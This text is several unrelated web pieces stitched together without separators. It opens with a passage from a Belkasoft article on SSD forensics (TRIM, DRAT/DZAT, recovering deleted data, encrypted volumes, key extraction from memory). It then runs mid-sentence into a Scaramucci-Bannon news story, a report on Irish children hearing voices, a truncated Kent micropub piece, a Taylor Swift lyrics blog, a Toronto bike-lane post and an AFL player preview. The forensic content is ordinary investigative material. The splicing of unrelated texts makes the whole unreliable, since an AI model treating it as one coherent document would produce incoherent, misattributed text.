However, the adoption of DRAT has been steadily increasing among SSD manufacturers. Two years ago we often saw reports on SSD drives with and without DRAT support. In 2014, the majority of new models came equipped with DRAT or DZAT.
There are three different types of TRIM defined in the SATA protocol and implemented in different SSD drives.
Non-deterministic TRIM: each read command after a Trim may return different data.
Deterministic Trim (DRAT): all read commands after a TRIM shall return the same data, or become determinate. Note that this level of TRIM does not necessarily return all-zeroes when trimmed pages are accessed. Instead, DRAT guarantees that the data returned when accessing a trimmed page will be the same (“determined”) before and after the affected page has been processed by the garbage collection algorithm and until the page is written new data. As a result, the data returned by SSD drives supporting DRAT as opposed to DZAT can be all zeroes or other words of data, or it could be the original pre-trim data stored in that logical page. The essential point here is that the values read from a trimmed logical page do not change since the moment the TRIM command has been issued and before the moment new data get written into that logical page.
Deterministic Read Zero after Trim (DZAT): all read commands after a TRIM shall return zeroes until the page is written new data.
As we can see, in some cases the SSD will return non-original data (all zeroes, all ones, or some other non-original data) not because the physical blocks have been cleaned immediately following the TRIM command, but because the SSD controller tells that there is no valid data held at the trimmed address on a logical level previously associated with the trimmed physical block.
If, however, one could possibly read the data directly from the physical blocks mapped to the logical blocks that have been trimmed, then the original data could be obtained from those physical blocks until the blocks are physically erased by the garbage collector. Apparently, there is no way to address the physical data blocks via the standard ATA command set, however, the disk manufacturer could most probably do this in their own lab. As a result, sending the trimmed SSD disk for recovery to the manufacturer may be a viable proposition if some extremely important evidence is concerned.
Notably, DRAT is not implemented in Windows, as NTFS does not allow applications reading the trimmed data.
Acquiring Evidence from SSD Drives
So far the only practical way of obtaining evidence from an SSD drive remains the traditional imaging (with dedicated hardware/software combination), followed by an analysis with an evidence discovery tool (such as Belkasoft Evidence Center, http:/forensic.belkasoft.com/en/bec/en/evidence_center.asp).
We now know more about the expected outcome when analyzing an SSD drive. There are generally two scenarios: either the SSD only contains existing data (files and folders, traces of deleted data in MFT attributes, unallocated space carrying no information), or the SSD contains the full information (destroyed evidence still available in unallocated disk space).Today, we can predict which scenario is going to happen by investigating conditions in which the SSD drive has been used.
Scenario 1: Existing Files Only
In this scenario, the SSD may contain some files and folders, but free disk space will be truly empty (as in “filled with zero data”). As a result, carving free disk space will return no information or only traces of information, while carving the entire disk space will only return data contained in existing files. So, is file carving useless on SSD drives? No way! Carving is the only practical way of locating moved or hidden evidence (e.g. renamed history files or documents stored in the Windows\System32 folder and renamed to.SYS or.DLL).
Practically speaking, the same acquisition and analysis methods should be applied to an SSD drive as if we were analyzing a traditional magnetic disk. Granted, we’ll recover no or little destroyed evidence, but any evidence contained in existing files including e.g., deleted records from SQLite databases (used, for example, in Skype histories) can still be recovered (http:/forensic.belkasoft.com/en/recover-destroyed-sqlite-evidence-skype-and-iphone-logs).
Scenario 2: Full Disk Content
In the second scenario, the SSD disk will still contain the complete set of information – just like traditional magnetic disks. Obviously, all the usual techniques should be applied at the analysis stage including file carving.
Why would an SSD drive NOT destroy evidence as a result of routine garbage collection? The garbage collection algorithm erasing the content of released data blocks does not occur if the TRIM command has not been issued, or if the TRIM protocol is not supported by any link of the chain. Let’s see in which cases this could happen.
More than 1000 items were carved out of unallocated sectors of SSD hard drive, particularly, Internet Explorer history, Skype conversations, SQLite databases, system files and other forensically important types of data
Operating System Support
TRIM is a property of the operating system as much as it is the property of an SSD device. Older file systems do not support TRIM. Wikipedia http:/en.wikipedia.org/wiki/Trim_(computing) has a comprehensive table detailing the operating system support for the TRIM command.
Operating System Supported since Notes DragonFly BSD 2011-05 May 2011 FreeBSD 2010-078.1 – July 2010 Support was added at the block device layer in 8.1. File system support was added in FreeBSD 8.3 and FreeBSD 9, beginning with UFS. ZFS trimming support was added in FreeBSD 9.2. FreeBSD 10 will support trimming on software RAID configurations. Linux 2008-12-252.6.28-25 December 2008 Initial support for discard operations was added for FTL NAND flash devices in 2.6.28. Support for the ATA Trim command was added in 2.6.33.Not all file systems make use of Trim. Among the file systems that can issue Trim requests automatically are Ext4, Btrfs, FAT, GFS2 and XFS. However, this is disabled by default, due to performance concerns, but it can be enabled by setting the “discard” mount option. Ext3, NILFS2 and OCFS2 offer ioctls to perform offline trimming. The Trim specification calls for supporting a list of trim ranges, but as of kernel 3.0 trim is only invoked with a single range that is slower. Mac OS X 2011-06-2310.6.8 -23 June 2011 Although the AHCI block device driver gained the ability to display whether a device supports the Trim operation in 10.6.6 (10J3210), the functionality itself remained inaccessible until 10.6.8, when the Trim operation was exposed via the IOStorageFamily and file system (HFS+) support was added. Some online forums state that Mac OS X only supports Trim for Apple-branded SSDs; third-party utilities are available to enable it for other brands. Microsoft Windows 2009-10NT 6.1 (Windows 7 and Windows Server 2008 R2) – October 2009 Windows 7 only supports trim for ordinary (SATA) drives and does not support this command for PCI-Express SSDs that are different type of device, even if the device itself would accept the command. It is confirmed that with native Microsoft drivers the Trim command works in AHCI and legacy IDE / ATA Mode. OpenSolaris 2010-07 July 2010 Android 2013-74.3 – 24 July 2013
Old Versions of Windows
As shown in the table above, TRIM support was only added to Windows 7. Obviously, TRIM is supported in Windows 8 and 8.1. In Windows Vista and earlier, the TRIM protocol is not supported, and the TRIM command is not issued. As a result, when analyzing an SSD drive obtained from a system featuring one of the older versions of Windows, it is possible to obtain the full content of the device.
Possible exception: TRIM-like performance can be enabled via certain third-party solutions (e.g. Intel SSD Optimizer, a part of Intel SSD Toolbox).
MacOS X
Mac OS X started supporting the TRIM command for Apple supplied SSD drives since version 10.6.8. Older builds of Mac OS X do not support TRIM.
Notably, user-installed SSD drives not supplied by Apple itself are excluded from TRIM support.
Old or Basic SSD Hardware
Not all SSD drives support TRIM and/or background garbage collection. Older SSD drives as well as SSD-like flash media used in basic tablets and sub-notes (such as certain models of ASUS Eee) do not support the TRIM command. For example, Intel started manufacturing TRIM-enabled SSD drives with drive lithography of 34nm (G2); their 50nm SSDs do not have TRIM support.
In reality, few SSD drives without TRIM survived that long. Many entry-level sub-notebooks use flash-based storage often mislabeled as “SSD” that does not feature garbage collection or supports the TRIM protocol.
(Windows) File Systems Other than NTFS
TRIM is a feature of the file system as much as the property of an SSD drive. At this time, Windows only supports TRIM on NTFS-formatted partitions. Volumes formatted with FAT, FAT32 and exFAT are excluded.
Notably, some (older) SSD drives used trickery to work around the lack of TRIM support by trying to interpret the file system, attempting to erase dirty blocks not referenced from the file system. This approach, when enabled, only works for the FAT file system since it’s a published spec. (http:/www.snia.org/sites/default/files2/sdc_archives/2009_presentations/thursday/NealChristiansen_ATA_TrimDeleteNotification_Windows7.pdf)
External drives, USB enclosures and NAS
The TRIM command is fully supported over the SATA interface, including the eSATA extension, as well as SCSI via the UNMAP command. If an SSD drive is used in a USB enclosure or installed in most models of NAS devices, the TRIM command will not be communicated via the unsupported interface.
YES NO
There is a notable exception. Some NAS manufacturers start recognizing the demand for units with ultra-high performance, low power consumption and noise free operation provided by SSD drives, slowly adopting TRIM in some of their models. At the time of this writing, of all manufacturers only Synology appears to support TRIM in a few select models of NAS devices and SSD drives.
Here is a quote from Synology Web site (https:/www.synology.com/en-uk/support/faq/591):
SSD TRIM improves the read and write performance of volumes created on SSDs, increasing efficiency as well as extending the lifetime of your SSDs. See the list below for verified SSD with TRIM support. · You may customize a schedule to choose when the system will perform TRIM. · SSD TRIM is not available when an SHA cluster exists. · TRIM cannot be enabled on iSCSI LUN. · The TRIM feature under RAID 5 and 6 configurations can only be enabled on the SSDs with DZAT (Deterministic Read Zero after TRIM) support. Please contact your SSD manufacturers for details on DZAT support.
PCI-Express and PCIe SSDs
Interestingly, the TRIM command is not natively supported by any version of Windows for many high-performance SSD drives occupying the PCI Express slot. Do not confuse PCI Express SSD’s with SATA drives carrying M.2 or mSATA interfaces.
Possible exception: TRIM-like performance can be enabled via certain third-party solutions (e.g., Intel SSD Optimizer, a part of Intel SSD Toolbox).
RAID
The TRIM command is not yet supported over RAID configurations (with few rare exceptions). SSD drives working as part of a RAID array can be analyzed.
A notable exception from this rule would be the modern RAID 0 setup using a compatible chipset (such as Intel H67, Z77, Z87, H87, Z68) accompanied with the correct drivers (the latest RST driver from Intel allegedly works) and a recent version of BIOS. In these configurations, TRIM can be enabled.
Corrupted Data
Surprisingly, SSD drives with corrupted system areas (damaged partition tables, skewed file systems, etc.) are easier to recover than healthy ones. The TRIM command is not issued over corrupted areas because files are not properly deleted. They simply become invisible or inaccessible to the operating systems. Many commercially available data recovery tools (e.g., Intel® Solid-State Drive Toolbox with Intel® SSD Optimizer, OCZ SSD Toolbox) can reliably extract information from logically corrupted SSD drives.
Bugs in SSD Firmware
Firmware used in SSD drives may contain bugs, often affecting the TRIM functionality and/or messing up garbage collection. Just to show an example, OCZ Agility 3 120 GB shipped with buggy firmware v. 2.09, in which TRIM did not work. Firmware v. 2.15 fixed TRIM behavior, while v. 2.22 introduced issues with data loss on wake-up after sleep, then firmware v. 2.25 fixed that but disrupted TRIM operation again (information taken from http:/www.overclock.net/t/1330730/ocz-firmware-2-25-trim-doesnt-work-bug-regression-bad-ocz-experience). A particular SSD drive may or may not be recoverable depending on which bugs were present in its firmware.
Bugs in SSD Over-Provisioning
SSD over-provisioning is one of the many wear-leveling mechanisms intended for increasing SSD life span. Some areas on the disk are reserved on the controller level, meaning that a 120 GB SSD drive carries more than 120 GB of physical memory. These extra data blocks are called over-provisioning area (OP area), and can be used by SSD controllers when a fresh block is required for a write operation. A dirty block will then enter the OP pool, and will be erased by the garbage collection mechanism during the drive’s idle time.
Speaking of SSD over-provisioning, firmware bugs can affect TRIM behavior in other ways, for example, revealing trimmed data after a reboot/power off. Solid-state drives are remapping constantly after TRIM to allocate addresses out of the OP pool. As a result, the SSD reports a trimmed data block as writeable (already erased) immediately after TRIM. Obviously, the drive did not have the time to actually clean old data from that block. Instead, it simply maps a physical block from the OP pool to the address referred to by the trimmed logical block.
What happens to the data stored in the old block? For a while, it contains the original data (in many cases it’s compressed data, depending on the SSD controller). However, as that data block is mapped out of the addressable logical space, the original data is no longer accessible or addressable.
Sounds complex? You bet. That’s why even seasoned SSD manufacturers may not get it right at the first try. Issues like this can cause problems when, after deleting data and rebooting the PC, some users would see the old data back as if it was never deleted. Apparently, because of the mapping issue the new pointers would not work as they should, due to a bug in the drive’s firmware. OCZ released a firmware fix to correct this behavior, but similar (or other) bugs may still affect other drives.
SSD Shadiness: Manufacturers Bait-and-Switch
When choosing an SSD drive, customers tend to read online reviews. Normally, when the new drive gets released, it is getting reviewed by various sources soon after it becomes available. The reviews get published, and customers often base their choice on them.
But what if a manufacturer silently changes the drive’s specs without changing the model number? In this case, an SSD drive that used to have great reviews suddenly becomes much less attractive. This is exactly what happened with some manufacturers. According to ExtremeTech (http:/www.extremetech.com/extreme/184253-ssd-shadiness-kingston-and-pny-caught-bait-and-switching-cheaper-components-after-good-reviews), two well-known SSD manufacturers, Kingston and PNY, were caught bait-and-switching cheaper components after getting the good reviews. In this case, the two manufacturers were launching their SSDs with one hardware specification, and then quietly changed the hardware configuration after reviews have gone out.
So what’s in there for us? Well, the forensic-friendly SandForce controller was found in the second revision of PNY Optima drives. Instead of the original Silicon Motion controller, the new batch of PNY Optima drives had a different, SandForce-based controller known for its less-than-perfect implementation of garbage collection leaving data on the disk for a long time after it’s been deleted.
Small Files: Slack Space
Remnants of deleted evidence can be acquired from so-called slack space as well as from MFT attributes.
In the word of SSD, the term “slack space” receives a new meaning. Rather than being a matter of file and cluster size alignment, “slack space” in SSD drives deals with the different sizes of minimum writeable and minimum erasable blocks on a physical level.
Micron, the manufacturer of NAND chips used in many SSD drives, published a comprehensive article on SSD structure:
https:/www.micron.com/~/media/Documents/Products/Technical%20Marketing%20Brief/ssd_effect_data_placement_writes_tech_brief.pdf
In SSD terms, Page is the smallest unit of storage that can be written to. The typical page size of today’s SSD is 4 KB or 8 KB.
Block, on the other hand, is the smallest unit of storage that can be erased. Depending on the design of a particular SSD drive, a single block may contain 128 to 256 pages.
As a result, if a file is deleted and its size is less than the size of a single SSD data block, OR if a particular SSD data block contain pages that still remain allocated, that particular block is NOT erased by the garbage collection algorithm. In practical terms, this means that files or file fragments (chunks) sized less than 512 KB or less than 2 MB depending on SSD model, may not be affected by the TRIM command, and may still be forensically recoverable.
However, the implementation of the Deterministic Read After Trim (DRAT) protocol by many recent SSD drives makes trimmed pages inaccessible via standard SATA commands. If a particular SSD drive implements DRAT or DZAT (Deterministic Read Zero After Trim), the actual data may physically reside on the drive for a long time, yet it will be unavailable to forensic specialists via standard acquisition techniques. Sending the SSD drive to the manufacturer might be the only way of obtaining this information on a physical level.
Small Files: MFT Attributes
Most hard drives used in Windows systems are using NTFS as their file system. NTFS stores information about the files and directories in the Master File Table (MFT). MFT contains information about all files and directories listed in the file system. In other words, each file or directory has at least one record in MFT.
In terms of computer forensics, one particular feature of MFT is of great interest. Unique to NTFS is the ability to store small files directly in the file system. The entire content of a small file can be stored as an attribute inside an MFT record, greatly improving reading performance and decreasing wasted disk space (“slack” space), referenced in the previous chapter.
As a result, small files being deleted are not going anywhere. Their entire content continues residing in the file system. The MFT records are not emptied, and are not affected by the TRIM command. This in turn allows investigators recovering such resident files by carving the file system.
How small does a file have to be to fit inside an MFT record? Very small. The maximum size of a resident file cannot exceed 982 bytes. Obviously, this severely limits the value of resident files for the purpose of digital forensics.
Encrypted Volumes
Somewhat counter-intuitively, information deleted from certain types of encrypted volumes (some configurations of BitLocker, TrueCrypt, PGP and other containers) may be easier to recover as it may not be affected by the TRIM command. Files deleted from such encrypted volumes stored on an SSD drive can be recovered (unless they were specifically wiped by the user) if the investigator knows either the original password or binary decryption keys for the volume. Encrypted containers are a big topic, so we’ll cover it in a dedicated chapter.
TRIM on encrypted volumes is a huge topic well worth a dedicated article or even a series of articles. With the large number of crypto containers floating around and all the different security considerations and available configuration options, determining whether TRIM was enabled on a particular encrypted volume is less than straightforward. Let’s try assembling a brief summary on some of the most popular encryption options.
Apple FileVault 2
Introduced with Apple OS X “Lion”, FileVault 2 enables whole-disk encryption. More precisely, FileVault 2 enables whole-volume encryption only on HFS+ volumes (Encrypted HFS). Apple chose to enable TRIM with FileVault 2 volumes on drives. It has the expected security implication of free sectors/blocks being revealed.
Microsoft BitLocker
Microsoft has its own built-in version of volume-level encryption called BitLocker. Microsoft made the same choice as Apple, enabling TRIM on BitLocker volumes located on SSD drives. As usual for Microsoft Windows, the TRIM command is only available on NTFS volumes.
TrueCrypt
TrueCrypt supports TRIM pass-through on encrypted volumes located on SSD drives. The company issued several security warnings in relation to wear-levelling security issues and the TRIM command revealing information about which blocks are in use and which are not. (http:/www.truecrypt.org/docs/trim-operation and http:/www.truecrypt.org/docs/wear-leveling)
PGP Whole Disk Encryption
By default, PGP whole-disk encryption does not enable TRIM on encrypted volumes. However, considering wear-leveling issues of SSD drives, Symantec introduced an option to enable TRIM on SSD volumes via a command line option: –fast (http:/www.symantec.com/connect/forums/pgp-and-ssd-wear-leveling).
If an encrypted volume of a fixed size is created, the default behavior is also to encrypt the entire content of a file representing the encrypted volume, which disables the effect of the TRIM command for the contents of the encrypted volume.
More research is required to investigate these options. At this time one thing is clear: in many configurations, including default ones, files deleted from encrypted volumes will not be affected by the TRIM command. Which brings us to the question of the correct acquisition of PCs with encrypted volumes.
Forensic Acquisition: The Right Way to Do
The right way to acquire a PC with a crypto container can be described with the following sentence: “If it’s running, don’t turn it off. If it’s off, don’t turn it on.” Indeed, the original decryption keys are cached in the computer’s memory, and can be extracted from a LiveRAM dump obtained from a running computer by performing a FireWire attack. These keys can be contained in page files and hibernation files. Tools such as Passware can extract decryption files from memory dumps and page/hibernation files, decrypting the content of encrypted volumes.
Reality Steps In: Why Real SSDs are Often Recoverable
In reality, things may look different from what was just described above in such great technical detail. In our lab, we’ve seen hundreds of SSD drives acquired from a variety of computers. Surprisingly, Belkasoft Evidence Center was able to successfully carve deleted data from the majority of SSD drives taken from inexpensive laptops and sub-notebooks such as ASUS Eee or ASUS Zenbook. Why is it so? There are several reasons, mainly “cost savings” and “miniaturization”, but sometimes it’s simply over-engineering.
Inexpensive laptops often use flash-based storage, calling that an SSD in their marketing ploy. In fact, in most cases it’s just a slow, inexpensive and fairly small flash-based storage having nothing to do with real SSD drives. Ultrabooks and sub-notes have no space to fit a full-size SSD drive. They used to use SSD drives in PCIe form factor (as opposed to M.2 or mSATA) which did not support the SATA protocol. Even if these drives are compatible with the TRIM protocol, Windows does not support TRIM on non-ATA devices. As a result, TRIM is not enabled on these drives. SSD drives are extremely complex devices requiring extremely complex firmware to operate. Many SSD drives were released with buggy firmware effectively disabling the effects of TRIM and garbage collection. If the user has not upgraded their SSD firmware to a working version, the original data may reside on an SSD drive for a long time. The fairly small (and inexpensive) SSD drives used in many entry-level notebooks lack support for DRAT/DZAT. As a result, deleted (and trimmed) data remain accessible for a long time, and can be successfully carved from a promptly captured disk image. On the other end of the spectrum are the very high-end, over-engineered devices. For example, Acer advertises its Aspire S7-392 as having a RAID 0 SSD. According to Acer marketing, “RAID 0 solid state drives are up to 2X faster than conventional SSDs. Access your files and transfer photos and movies quicker than ever!” (http:/www.acer.com/aspires7/en_US/). This looks like over-engineering. As TRIM is not enabled on RAID SSD’s in any version of Windows, this ultra-fast non-conventional storage system may slow down drastically over time (which is exactly why TRIM was invented in the first place). For us, this means that any data deleted from these storage systems could remain there for at least as long as it would have remained on a traditional magnetic disk. Of course, the use of the right chipset (such as Intel H67, Z77, Z87, H87, Z68) accompanied with the correct drivers (the latest RST driver from Intel allegedly works) can in turn enable TRIM back. However, we are yet to see how this works in reality. (http:/www.anandtech.com/show/6477/trim-raid0-ssd-arrays-work-with-intel-6series-motherboards-too)
Conclusion
SSD forensics remains different. SSDs self-destroy court evidence, making it difficult to extract deleted files and destroyed information (e.g., from formatted disks) is close to impossible. Numerous exceptions still exist, allowing forensic specialists to access destroyed evidence on SSD drives used in certain configurations.
There has been little progress in SSD development since the publication of our last article on SSD forensics in 2012. The factor defining the playing field remains delivering bigger size for less money. That aside, compressing SSD controllers appear to become the norm, making off-chip acquisition unpractical and killing all sorts of DIY SSD acquisition hardware.
More SSD drives appear to follow the Deterministic Read After Trim (DRAT) approach defined in the SATA standard a long time ago. This in turn means that a quick format is likely to instantly render deleted evidence inaccessible to standard read operations, even if the drive is acquired with a forensic write-blocking imaging hardware immediately after.
SSD drives are getting more complex, adding over-provisioning support and using compression for better performance and wear leveling. However, because of the increased complexity, even seasoned manufacturers released SSD drives with buggy firmware, causing improper operation of TRIM and garbage collection functionality. Considering just how complex today’s SSD drives have become, it’s surprising these things do work, even occasionally.
The playfield is constantly changing, but what we know now about SSD forensics gives hope.
About the authors
Yuri Gubanovis a renowned computer forensics expert. He is a frequent speaker at industry-known conferences such as HTCIA, TechnoSecurity, CEIC and others. Yuri is the Founder and CEO of Belkasoft. Besides, Yuri is senior lecturer at St-Petersburg State University. You can add Yuri Gubanov to your LinkedIn network at http://linkedin.com/in/yurigubanov
Oleg Afonin is an expert and consultant in computer forensics.
You can contact the authors via research@belkasoft.comFormer White House communications director Anthony Scaramucci hit at Steve Bannon for his controversial views a day after a white nationalist rally in Charlottesville, Virginia, descended into violence.
During ABC News’ livestream interview after "This Week," Scaramucci was asked if he believes Bannon is a white supremacist or white nationalist. Scaramucci said that he didn't know and hasn't directly asked Bannon about his views.
“I’ve never sat down with Steve Bannon and said, ‘Hey are you a white nationalist or a white supremacist?’ But I think the toleration of it by Steve Bannon is inexcusable,” Scaramucci said.
Ahead of the livestream, Scaramucci gave his first television interview since his short-lived tenure in the White House, speaking out against Bannon and saying the president “knows what he’s going to do with” him.
Speaking with ABC News Chief Anchor George Stephanopoulos on "This Week" this morning, Scaramucci criticized the influence of the website Breitbart and Steve Bannon, who was the executive chairman of Breitbart before joining the Trump campaign and later the administration, saying that there's "this sort of 'Bannon-bart' influence" in the White House that he thinks "is a snag on the president."
When asked by Stephanopoulos if that influence stemmed from Bannon, Scaramucci said, "I think the president knows what he's going to do with Steve Bannon."
"Let's leave it up to the president. It's his decision, but at the end of the day, the president has a very good idea of who the leakers are inside the White House. The president has a very good idea of the people who are undermining his agenda that are serving their own interests," Scaramucci added.
Asked if that included Bannon, Scaramucci said "well yeah," before saying, "I would prefer to let the president make the decisions the president needs to make."
Scaramucci’s frustration with Bannon was put on full display last month after New Yorker reporter Ryan Lizza published an article detailing an expletive-laced phone conversation he had with Scaramucci.
In the call, Scaramucci went after Bannon, using vulgar language to describe the chief strategist.
Asked about the call on "This Week" this morning, Scaramucci said “the words were mischaracterized in the original article," before noting "he's not misquoting me but he is mischaracterizing me."
“Obviously I paid the consequences,” Scaramucci told Stephanopoulos.
When discussing the influences that he thinks are impacting Trump, Scaramucci urged the president to take a more mainstream approach in order to sell his agenda.
“If the president really wants to execute the legislative agenda that I think is so promising for the American people, the lower middle-class people and the middle-class people, then he has to move away from that 'Bannon-bart' nonsense,” he said.
“That whole thing is nonsensical. It’s not serving the president’s interests. He's got to move more into the mainstream. He's got to be more into where the moderates are and the independents … that love the president, so if he does that he'll have a very successful legislative agenda,” he said.Almost one in five Irish children between the ages of 11 and 13 have reported 'hearing voices' -- a symptom experts claim could be an early warning sign for a wide variety of mental health illnesses -- according to the findings of a leading Irish research group. Researchers at the Royal College of Surgeons found that the incidence of auditory hallucinations was highest among the 11-13 age category, the majority of whom, worryingly, were found to be also suffering from a diagnosable mental health condition besides the hallucinations.While often a transient phenomenon of late childhood and adolescence, a sizable proportion of those who hear voices, and do so most often, also go on to suffer from one of a wide panoply of mental health illnesses in later life. Schizophrenia, manic conditions such as bipolar disease, and multiple personality disorder are just three of the serious mental health conditions for which auditory hallucination can be an early warning sign. These conditions all commonly include the hearing of voices in their diagnoses, which can range from relatively benign alter egos in multiple personality disorder to full-blown nightmare personalities in uncontrolled schizophrenia.The Royal College of Surgeon's figures, if corroborated, will read as a worrying indication of the extent of mental health problems among Ireland's youth, a traditionally neglected part of Ireland's underfunded public healthcare system.Ireland's suicide rate was last year found to be running at its highest level since the foundation of the State, with the rise mostly attributable to a strong increase in suicides among middle aged men. Depressive and anxiety disorders are both thought to be highly prevalent, although the exact incidence is hard to detect given that many sufferers either avoid treatment or self-medicate.Yet despite the figures a 'deafening silence' often surrounds discussion of such problems. Rugby player and 'tough guy' Alan Quinlan recently broke one of the last major taboos in Irish society by giving a website an emotional interview about his battle with depression, but more public figures will be needed to really send a clear message to those suffering from such problems that sharing the burden is preferable to wallowing in silence.While not directly related to either depression or suicide, the auditory hallucination figures should give Irish policymakers pause for thought when assessing how the mental health picture reads among Ireland's youth, a question that has received scant attention in population surveys conducted to date.The upper end of the survey's estimations of the hallucinations -- 23% -- is not far off a frightening one-in-four figure, which is certainly a lot higher than many laypersons would have imagined it to be.The auditory hallucinations commonly extend until 16 years old, and can go on for life without effective treatment, part of which involves getting the patient to acknowledge the hard reality that the 'alien voices' inside his head are not his or her own.As to what the 'voices' exactly consist of, Dr Ian Kelleher of the Department of Psychiatry at the Royal College of Surgeons in Ireland (RSCI), offered the following explanation:"Auditory hallucinations can vary from hearing an isolated sentence now and then, to hearing 'conversations' between two or more people lasting for a several minutes."It may present itself like screaming or shouting, and other times it could sound like whispers or murmurs. It varies greatly from child to child, and frequency can be once a month to once every day.Beer lovers in Kent are making the most of new, simpler licensing laws to set up real ale pubs in unlikely spots – just don’t all go at once
You will find them in former dog grooming parlours, bakeries, butcher shops: tiny little hostelries have been springing up all across eastern Kent. These “micropubs” adhere to a few simple rules – no lager, no jukebox, no TV – and are almost all housed in spaces no larger than a living room. They sell constantly changing real ales at around £3 a pint; there’s no hot food but you may find local cheeses, pies and homemade pork scratchings and pickles.
As this micropub scene has burgeoned over the |
crown is missing and it’s crucial we help her find it. Without it, Taylor sounds very, very upset.
Swift left us #shook with the release of “Look What You Made Me Do” (#LWYMMD) for reasons we’ve exhaustedly already explained. There were snakes. Snake jewelry. She came for people, and then people came for her.
Interestingly enough, however, the first single off Reputation, we’ve now realized, offered lyrics tied to one concept the pop star is seemingly obsessed with: the monarchy.
In #LWYMMD, which by the way is a song that never fails to escape my head despite the fact that I’m not a self-proclaimed Swiftie, she hints that someone stole something extremely precious to her.
RELATED: Welcome to Taylor Swift's "Screw You" Era
I don’t like your kingdom keys
They once belonged to me
You ask me for a place to sleep
Locked me out and threw a feast (what?)
So Taylor lost a set of keys to someone who wanted to rule the kingdom she once ruled with an iron fist and a glittery crown that’s now missing. Right? Sounds like something from Game of Thrones.
Another single off Reputation, “Gorgeous,” weakens my argument because she sings about a mystery man she’s infatuated with (it’s boyfriend Joe Alwyn, right guys?) and thinks about when she’s not with him but rather home with her cats.
"... Ready for It?" is also about her relationship with a man, though she does refer to herself as a "robber" (likely of his heart, duh) that is very good at completing a "heist." Is she planning a heist to win her crown back?
Then there’s “Call It What You Want,” her fourth single from the upcoming album, which she released at midnight Friday morning. It’s cute. It’s a love song. And as we did with #LWYMMD, we’ll be singing along to it for days.
Call It What You Want. Midnight Eastern. A post shared by Taylor Swift (@taylorswift) on Nov 2, 2017 at 5:29am PDT
RELATED: Taylor Swift Makes Fun of Her Fashion Mistake with Her Reputation Merch
But her crown is missing along with the keys!
In it, she sings:
My castle crumbled overnight
I brought a knife to a gunfight
They took the crown, but it’s all right
All the liars are calling me on
Nobody’s heard from me for months
I’m doing better than I ever was
Again, her crown was stolen (If you have it—seriously—please return it), and it sounds like there was a violent “gunfight” as she tried to hang onto it.
If you want more details, here they are from Swift herself:
All the drama queens taking swings
All the jokers dressing up as kings
They fade to nothing when I look at him
So she lost her now-missing crown and even though she says it’s “all right” she’s still somewhat upset. Thankfully, she met a guy who’s now the subject of these cute, catchy pop songs.
But that doesn’t detract from the fact that indeed her heavy crown is still missing and this entire album sounds like an SOS for the precious jewels.
We’re not sure what the rest of Reputation (it drops Nov. 10) will sound like, but something tells us this missing crown will continue to be at the center of her plotline.
One more time: If you have it, she’d like it back.The Speakeasy Tattoo establishment is on one of Toronto's busiest bike lanes, right next door to the Sam James Coffee Bar, said by many to be the best in town. People would dash in for a coffee, but they take their time pulling a latte. The Sam James people try to encourage good behaviour among their customers with a sign outside their door,
And the Tattoo parlour put up their own sign:
But that didn't work either; people still parked their Hummers in the bike lane, as in this photo by Corey Mintz. So they set up a camera in their shop and started a website, logically called Look at the Asshole in the Bike Lane. It is quite festive, as they shoot their photos through the Christmas decorations.
Most retailers and stores hate bike lanes, and complain constantly that they reduce their business. Here's a shoutout for two businesses that do the opposite, that recognize that there are a whole lot of people who rely on that bike lane every day. If I ever need a tattoo I know where I'm going.Rory Thompson is set to again form a powerful defensive partnership with Steven May in the Suns' backline
ADELAIDE
Brodie Smith: With his penetrating kick Smith is one of the key members of Adelaide's squad. Last year’s All-Australian selection will launch many of the Crows' attacking drives.
Luke Brown: Now a regular in the back half, Brown has done well to fill the void left by retired veteran Michael Doughty. An important small defender who can work off his opponent and attack.
Kyle Cheney: Crossed to West Lakes in search of opportunity and with a fan in coach Phil Walsh he will probably find it. An irregular heartbeat ruled him out for a few days in February but has trained fully since.
Kyle Hartigan: Will look to fill the shoes of the retired Ben Rutten as Adelaide's big-bodied key defender. With just 10 games to his name Hartigan will shoulder far more responsibility this year.
Ricky Henderson: Surgery limited his training last summer before that horrific broken leg, but has had a clear run since late in the 2014 season. Such an important player when firing, Henderson hopes to cement his place back in the starting 22 across half-back.
Matthew Jaensch: Along with Brodie Smith, Jaensch is one of the club's main attacking weapons in defence. Aggressive, strong and reads the ball well. Said to have been battling with Harrison Wigg about who has the best kick at West Lakes.
Jake Kelly: Yet to debut, but his attack on the football has impressed coaching staff. A strong and uncompromising player, Kelly needs to gain more experience at SANFL level before pushing for a senior spot.
Rory Laird: Fighting to lock his name on the team sheet among substantial pressure as a small defender. Laird played well against the Kangaroos, taking some strong marks and attacking the football with his usual vigour.
Jake Lever: The Crows will take a conservative approach to its No. 14 draft pick and he will come up through the SANFL. But the key defender has shown his the ability that had him so highly touted before his 2013 knee reconstruction and could still make his debut this year.
Andy Otten: The talented defender was beginning to hit his straps last year when he suffered a knee injury that required a reconstruction. Otten’s 2015 will be spent in rehabilitation with an eye on 2016.
Sam Shaw: Had a piece of bone removed from the back of his leg last year in the hope of fixing his persistent hamstring issues. If it works Shaw's athleticism could quickly turn him into an asset either in defence or attack.
Sam Siggins: Developed well last year in the SANFL and will have to do so again this year if he is to make his senior debut. Siggins is a tall defender with long arms and sound skills.
Daniel Talia: The reigning club champion is the club's most important player and leads a young and inexperienced defensive unit. The Crows need him at his best in 2015 and signs so far suggest he will be.
Brent Reilly: The veteran was training well ahead of what loomed a crucial season if his contract was to be extended before fracturing his skull at training. It appears likely Reilly has played his last game for the Crows.
Harrison Wigg: Drafted to West Lakes with huge raps on his left-foot kick and has impressed teammates with his approach to training. Got a taste of AFL football against North Melbourne and with SANFL form could push for a senior debut. - Harry Thring
BRISBANE LIONS
Jed Adcock: After two years as captain, Adcock handed over the reigns to Tom Rockliff in the off-season. One of the Lions' most consistent, you can expect more of the same in 2015, with his ability to lock down an opponent and also run off and link up in attack. Adcock will also spend plenty of time on the wing.
Harris Andrews: A Lions' academy product taken in last year's draft, Andrews has made a big impression in his first pre-season. He's 201cm and has a light frame, but is smart and reads the flight of the ball well. Don't be surprised if he sees some senior action.
Hugh Beasley: A competitive key defender, Beasley was taken as a project rookie who will spend the season in the NEAFL. He stands 190cm, but is strong-bodied and has shown through the juniors he is capable of marking much bigger opponents.
Claye Beams: The Lions want more run and better ball users in their back half and hope Beams is the answer. Dogged by injuries over recent years, the 23-year-old has moved from a congested midfield, and with his great balance, pace and thumping right boot, should be an asset coming out of defence.
Jordon Bourke: Lurking on the fringes, Bourke got one game last year, but is now in his final year as a rookie. Is a solid, medium-sized defender who has excelled at NEAFL level, but needs to improve his aerobic capacity to stick with the better running forwards.
